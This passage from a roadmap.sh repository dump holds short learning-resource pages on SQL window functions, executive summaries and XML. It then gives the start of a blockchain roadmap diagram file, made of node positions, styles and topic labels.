    "content": "# Window Functions\n\nWindow functions in SQL perform calculations across a set of table rows that are related to the current row. Unlike aggregate functions that group rows into a single output row, window functions retain the individual rows while adding calculated values based on the window frame defined for each row. This allows you to compute things like running totals, moving averages, or rank values within a partition of your data without collapsing the original dataset.\n\nVisit the following resources to learn more:\n\n- [@official@SQL Roadmap](https://roadmap.sh/sql)\n- [@article@SQL Window Functions](https://mode.com/sql-tutorial/sql-window-functions)\n- [@article@SQL Window Functions Cheat Sheet](https://www.datacamp.com/cheat-sheet/sql-window-functions-cheat-sheet)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/writing-executive-summaries@Slg3fXGPTa-Z4sdZY86XK.md",
    "content": "# Writing Executive Summaries\n\nExecutive summaries are concise overviews of longer reports or analyses, designed to quickly inform decision-makers. The best executive summaries clearly state the problem or opportunity, the key findings, the recommended actions, and the expected benefits. They should be brief, typically no more than one page, and written in plain language, avoiding technical jargon. Prioritize clarity and focus on the most important information, ensuring the summary is easily understood and actionable.\n\nVisit the following resources to learn more:\n\n- [@article@How to write an executive summary, with examples](https://asana.com/resources/executive-summary-examples)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/xml@ytgK7van84j5DsfD0JyZ3.md",
    "content": "# XML\n\nXML (Extensible Markup Language) is a markup language designed for encoding documents in a format that is both human-readable and machine-readable. It uses tags to define elements and attributes to describe the properties of those elements, allowing for structured data representation and exchange between different systems and applications. XML's hierarchical structure makes it suitable for representing complex data relationships.\n\nVisit the following resources to learn more:\n\n- [@article@XML](https://en.wikipedia.org/wiki/XML)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/blockchain/blockchain.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"St_SEuDFFCJiy3mMouBZw\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -133.64612351413393,\n        \"y\": 2048.3923285889578\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 90,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 90\n      },\n      \"positionAbsolute\": {\n        \"x\": -133.64612351413393,\n        \"y\": 2048.3923285889578\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 90\n      }\n    },\n    {\n      \"id\": \"py64QZYm8_2ZSDtjrY3pp\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -532.1381872719934,\n        \"y\": 1517.5384414187022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 80,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 80\n      },\n      \"positionAbsolute\": {\n        \"x\": -532.1381872719934,\n        \"y\": 1517.5384414187022\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 80\n      }\n    },\n    {\n      \"id\": \"IBedT_ecyPAcfv-1TyiS1\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -790.0217858882392,\n        \"y\": 1821.9585106233824\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 225,\n      \"height\": 190,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 190\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -790.0217858882392,\n        \"y\": 1821.9585106233824\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 190\n      }\n    },\n    {\n      \"id\": \"3TMMtui3iBFFOFWmUcd8z\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -571.2223395211597,\n        \"y\": 1825.6951888241626\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 218,\n      \"height\": 186,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 186\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -571.2223395211597,\n        \"y\": 1825.6951888241626\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 186\n      }\n    },\n    {\n      \"id\": \"2eSF22ObyAr6my_HsiN2O\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -544.1381872719935,\n        \"y\": 770.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"idcU32riEoccvhKwcvG8l\"\n      },\n      \"zIndex\": -999,\n      \"width\": 247,\n      \"height\": 168,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 168\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -544.1381872719935,\n        \"y\": 770.7007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 168\n      }\n    },\n    {\n      \"id\": \"idcU32riEoccvhKwcvG8l\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -544.1381872719935,\n        \"y\": 770.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 248,\n      \"height\": 190,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 190\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -544.1381872719935,\n        \"y\": 770.7007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 190\n      }\n    },\n    {\n      \"id\": \"8HY-PQ6yQrgv7hWOQ3lAK\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -569.2188331774445,\n        \"y\": 1648.8291219264931\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 216,\n      \"height\": 135,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 135\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -569.2188331774445,\n        \"y\": 1648.8291219264931\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 135\n      }\n    },\n    {\n      \"id\": \"txjA1BzslYvKVEkQKBh0f\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -788.591128478943,\n        \"y\": 1660.0047851328316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 223,\n      \"height\": 128,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 128\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -788.591128478943,\n        \"y\": 1660.0047851328316\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 128\n      }\n    },\n    {\n      \"id\": \"Yub5jWq2ODcJiql5qE-Li\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -572.2959035657104,\n        \"y\": 2032.372605202359\n      },\n      \"width\": 220,\n      \"height\": 245,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 245\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderRadius\": 5,\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -572.2959035657104,\n        \"y\": 2032.372605202359\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 245\n      }\n    },\n    {\n      \"id\": \"Dfmi0fdo9Ytzc6DWAhngQ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -789.460009679177,\n        \"y\": 2011.372605202359\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\",\n          \"borderRadius\": 5\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 223,\n      \"height\": 267,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 267\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -789.460009679177,\n        \"y\": 2011.372605202359\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 267\n      }\n    },\n    {\n      \"id\": \"Jcq8nE9iBN3Mo0xil-vJ2\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -532.1381872719934,\n        \"y\": 1363.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 128,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 128\n      },\n      \"positionAbsolute\": {\n        \"x\": -532.1381872719934,\n        \"y\": 1363.200748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 128\n      }\n    },\n    {\n      \"id\": \"5C5l72HEla-ikc6y-k_OS\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -788.6381872719935,\n        \"y\": 1006.2007482223489\n      },\n      \"width\": 142,\n      \"height\": 248,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 248\n      },\n      \"selected\": false,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": -788.6381872719935,\n        \"y\": 1006.2007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 248\n      }\n    },\n    {\n      \"id\": \"OPVx0dc6AssCjOkJaeoXF\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -651.1381872719935,\n        \"y\": 1006.2007482223489\n      },\n      \"width\": 311,\n      \"height\": 196,\n      \"style\": {\n        \"width\": 311,\n        \"height\": 196\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -651.1381872719935,\n        \"y\": 1006.2007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 311,\n        \"height\": 196\n      }\n    },\n    {\n      \"id\": \"29a276hgyP01M_i4EikvM\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -53.63818727199339,\n        \"y\": 835.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 60,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 60\n      },\n      \"positionAbsolute\": {\n        \"x\": -53.63818727199339,\n        \"y\": 835.7007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 60\n      }\n    },\n    {\n      \"id\": \"vZkQPClBzCxo1EQcpGsV0\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -228.6381872719935,\n        \"y\": 825.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"29a276hgyP01M_i4EikvM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 60,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 60\n      },\n      \"positionAbsolute\": {\n        \"x\": -228.6381872719935,\n        \"y\": 825.400748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 60\n      }\n    },\n    {\n      \"id\": \"vYB7PnpA2ZQ0kdkdWqwUz\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -151.1381872719934,\n        \"y\": 705.7007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 643,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 643\n      },\n      \"positionAbsolute\": {\n        \"x\": -151.1381872719934,\n        \"y\": 705.7007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 643\n      }\n    },\n    {\n      \"id\": \"tNbcSfwOUHNtk3yg8gJno\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 36.8618127280065,\n        \"y\": 600.2007482223489\n      },\n      \"width\": 228,\n      \"height\": 162,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 36.8618127280065,\n        \"y\": 600.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 162\n      }\n    },\n    {\n      \"id\": \"KELrKcfXTLu5nAcA97mXp\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 37.8618127280065,\n        \"y\": 818.2007482223489\n      },\n      \"width\": 228,\n      \"height\": 217,\n      \"style\": {\n        \"width\": 228,\n        \"height\": 217\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 37.8618127280065,\n        \"y\": 818.2007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"m_Vm3dR7yoam2Bxts_0-M\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -581.6381872719934,\n        \"y\": 512.900748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 120,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -581.6381872719934,\n        \"y\": 512.900748222349\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"hYKE6cU0cdDJQtUPfJOn8\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -544.1381872719935,\n        \"y\": 592.2007482223489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 247,\n      \"height\": 161,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 161\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -544.1381872719935,\n        \"y\": 592.2007482223489\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 161\n      }\n    },\n    {\n      \"id\": \"_1g6QfWWUVJHaPdJQZWJz\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -793.1381872719935,\n        \"y\": 592.400748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 253,\n      \"height\": 368,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 368\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -793.1381872719935,\n        \"y\": 592.400748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 368\n      }\n    },\n    {\n      \"id\": \"Q_QCC2ZR8zT6m2am8-e_p\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -380.6381872719934,\n        \"y\": 213.90074822234885\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 398,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 398\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.6381872719934,\n        \"y\": 213.90074822234885\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 398\n      }\n    },\n    {\n      \"id\": \"k5lpqM1IIUSgtyUcR4t7u\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -360.6381872719934,\n        \"y\": -79.59925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Blockchain\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 68,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -360.6381872719934,\n        \"y\": -79.59925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"Lq6CLi5VrYBsmzujfF703\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -281.6381872719934,\n        \"y\": -154.5992517776511\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 75,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 75\n      },\n      \"positionAbsolute\": {\n        \"x\": -281.6381872719934,\n        \"y\": -154.5992517776511\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 75\n      }\n    },\n    {\n      \"id\": \"MvpHHpbS-EksUfuOKILOq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -428.1381872719934,\n        \"y\": 69.40074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Blockchain Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 314,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 314,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -428.1381872719934,\n        \"y\": 69.40074822234891\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 314,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Atv-4Q7edtvfySs_XhgEq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -7.138187271993502,\n        \"y\": 14.40074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Blockchain Structure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"positionAbsolute\": {\n        \"x\": -7.138187271993502,\n        \"y\": 14.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9z0Fqn1qqN8eo6s7_kwcb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -7.138187271993502,\n        \"y\": 67.40074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Blockchain Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"positionAbsolute\": {\n        \"x\": -7.138187271993502,\n        \"y\": 67.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WD2JH4X4tEE4J0W0XFQ_4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -7.138187271993502,\n        \"y\": 120.40074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Applications and Uses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"positionAbsolute\": {\n        \"x\": -7.138187271993502,\n        \"y\": 120.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"edO8iEehsZtYavlsEKhOy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -793.1381872719935,\n        \"y\": 13.40074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is Blockchain\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -793.1381872719935,\n        \"y\": 13.40074822234891\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H9jvIlxX6P-C_cgPfZop4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -793.1381872719935,\n        \"y\": 66.40074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decentralization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234\n      },\n      \"positionAbsolute\": {\n        \"x\": -793.1381872719935,\n        \"y\": 66.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Nc9AH6L7EqeQxh0m6Hddz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -793.1381872719935,\n        \"y\": 119.40074822234891\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Why it matters?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        },\n        \"oldId\": \"ecT4W5z8Vq9pXjnuhMdpl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234\n      },\n      \"positionAbsolute\": {\n        \"x\": -793.1381872719935,\n        \"y\": 119.40074822234891\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bA4V_9AbV3uQi3qrtLWk0\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -428.1381872719934,\n        \"y\": 310.90074822234885\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"General Blockchain Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 314,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 314,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -428.1381872719934,\n        \"y\": 310.90074822234885\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 314,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B7niNXMOTbHn_1ixKQ8ri\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -791.6381872719935,\n        \"y\": 204.90074822234885\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mining and Incentive Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      